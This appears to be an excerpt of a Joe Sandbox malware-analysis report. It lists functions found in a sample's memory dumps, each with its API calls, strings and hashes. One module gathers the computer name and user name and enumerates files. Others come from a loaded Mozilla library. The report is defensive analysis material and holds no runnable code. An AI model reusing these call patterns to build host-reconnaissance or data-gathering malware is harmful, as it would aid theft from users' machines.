Part of subcall function 007878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787910
Part of subcall function 007878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00787917
Part of subcall function 007878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0078792F

Part of subcall function 00787850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007711B7), ref: 00787880
Part of subcall function 00787850: RtlAllocateHeap.NTDLL(00000000), ref: 00787887
Part of subcall function 00787850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0078789F

ExitProcess.KERNEL32 ref: 007711C6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: e4f592f59cec49bf5bfd1a5ff64d73dd17ec3d9bc2c83573cecd96bfbf49c740
Instruction ID: cbbb3a0822547a030f5ed33fb02f381eee4d493d08b531911bc5f0b10014b718
Opcode Fuzzy Hash: e4f592f59cec49bf5bfd1a5ff64d73dd17ec3d9bc2c83573cecd96bfbf49c740
Instruction Fuzzy Hash: 70E0C2B1968305E3CE0437F4AD4EB2A338C5B10385F844528FA09C2142FE2DE800C767

Function 00788E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: bf3693615fb7c80ed80389c132e97a95413cda56cfe058e9cf55d9bdd67d4143
Instruction ID: e56ff7bfbdc8d2c76ef05564f2f040e709f673e90529381d16a4b0d71fc24fbd
Opcode Fuzzy Hash: bf3693615fb7c80ed80389c132e97a95413cda56cfe058e9cf55d9bdd67d4143
Instruction Fuzzy Hash: C8011930A44248EFCB44DF98C585BACBBB1EF04308F688088E9456B391C7796F84DB86

Non-executed Functions

Function 6C625440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C625492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6254BE
__Init_thread_footer.LIBCMT ref: 6C6254DB

Part of subcall function 6C64AB3F: EnterCriticalSection.KERNEL32(6C69E370,?,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284), ref: 6C64AB49
Part of subcall function 6C64AB3F: LeaveCriticalSection.KERNEL32(6C69E370,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64AB7C

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C625516
GetCurrentThreadId.KERNEL32 ref: 6C62556A
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625577
moz_xmalloc.MOZGLUE(00000070), ref: 6C625585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C625590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6255E6
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C625616

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

GetCurrentThreadId.KERNEL32 ref: 6C62563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C625646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C62567C
free.MOZGLUE(?), ref: 6C6256AE

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6256E8
GetCurrentThreadId.KERNEL32 ref: 6C625707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C62570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C625729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C62574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C62576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C625796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6257CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C6255E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6257AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6254B9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C625791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C625C56
GeckoMain, xrefs: 6C625554, 6C6255D5
[I %d/%d] profiler_init, xrefs: 6C62564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C625717
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6257C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C625511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6254A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C625B38
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C625D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C625D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C625766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C625D24
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C625749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C625CF9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6256E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C62548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C625AC9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C625D01
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C625724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C625BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C62584E

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction ID: ac519d78ec1055308dc91fe50fa7110d4e0fe861e6e2514abf06171b6d1090af
Opcode Fuzzy Hash: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction Fuzzy Hash: EE2234B0A043029FDB209F35888866A77B5AF8730CF50492AF94697B45E739C859CF5F

Function 6C626C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C626CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C626D26

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C626D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C626D73
free.MOZGLUE(00000000), ref: 6C626D80
CertGetNameStringW.CRYPT32 ref: 6C626DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C626DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C626DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C626E10
CryptMsgClose.CRYPT32(00000000), ref: 6C626E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C626E34
CreateFileW.KERNEL32 ref: 6C626EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C626F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C62709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C627103
free.MOZGLUE(00000000), ref: 6C627153
CloseHandle.KERNEL32(?), ref: 6C627176
__Init_thread_footer.LIBCMT ref: 6C627209
__Init_thread_footer.LIBCMT ref: 6C62723A
__Init_thread_footer.LIBCMT ref: 6C62726B
__Init_thread_footer.LIBCMT ref: 6C62729C
__Init_thread_footer.LIBCMT ref: 6C6272DC
__Init_thread_footer.LIBCMT ref: 6C62730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6273C2
VerSetConditionMask.NTDLL ref: 6C6273F3
VerSetConditionMask.NTDLL ref: 6C6273FF
VerSetConditionMask.NTDLL ref: 6C627406
VerSetConditionMask.NTDLL ref: 6C62740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C62741A
moz_xmalloc.MOZGLUE(?), ref: 6C62755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C627568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C627585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C627598
free.MOZGLUE(00000000), ref: 6C6275AC

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6272C8
wintrust.dll, xrefs: 6C6272CD
SHA256, xrefs: 6C626EC0
(, xrefs: 6C62768A

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction ID: 79fc8af959e337d1493843ed6264b8959ca49aa854138c5d05e51de05dffdc10
Opcode Fuzzy Hash: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction Fuzzy Hash: C652F5B1A002159BEB21DF25CC84FAA77B8FF46704F1041A9F909A7640DB74AF85CF99

Function 6C6734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EE2

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6761DD
Part of subcall function 6C676180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C67622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674157

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C676250
Part of subcall function 6C676180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C67484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674896
free.MOZGLUE ref: 6C67489F

Strings

, xrefs: 6C674CD2

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction ID: d0b8aab8efca215f650c8a4f554726fd415ecf683b731cf5cb8f3aed70ad0eac
Opcode Fuzzy Hash: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction Fuzzy Hash: 49F25A74908B81CFC731CF29C0846AAFBF1BF8A314F118A5ED98997711DB719886CB56

Function 6C6264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C626505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C626518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C62671C
GetCurrentProcess.KERNEL32 ref: 6C626724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C62672F
GetCurrentProcess.KERNEL32 ref: 6C626759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C626764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C626A80
GetSystemInfo.KERNEL32(?), ref: 6C626ABE
__Init_thread_footer.LIBCMT ref: 6C626AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AF7

Strings

_etoured.dll, xrefs: 6C6264ED
nvd3d9wrap.dll, xrefs: 6C626500
user32.dll, xrefs: 6C626526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C626798
detoured.dll, xrefs: 6C6264DA
nvdxgiwrap.dll, xrefs: 6C626513

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction ID: 2a3792d82789c79530b67bb6ffa4b63ff14ecc19bfb5d548d37aa75bab93e68d
Opcode Fuzzy Hash: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction Fuzzy Hash: FCF1F270D0121A9FDB20CF25CD88BDAB7B5AF46318F144299E809A3681D735EE85CF99

Function 007838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 007838CC
FindFirstFileA.KERNEL32(?,?), ref: 007838E3
lstrcat.KERNEL32(?,?), ref: 00783935
StrCmpCA.SHLWAPI(?,00790F70), ref: 00783947
StrCmpCA.SHLWAPI(?,00790F74), ref: 0078395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00783C67
FindClose.KERNEL32(000000FF), ref: 00783C7C

Strings

%s\%s, xrefs: 00783A6F
%s%s, xrefs: 00783AAD
%s\*, xrefs: 007838C0
%s\%s\%s, xrefs: 00783A4A
%s\%s, xrefs: 0078397A

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
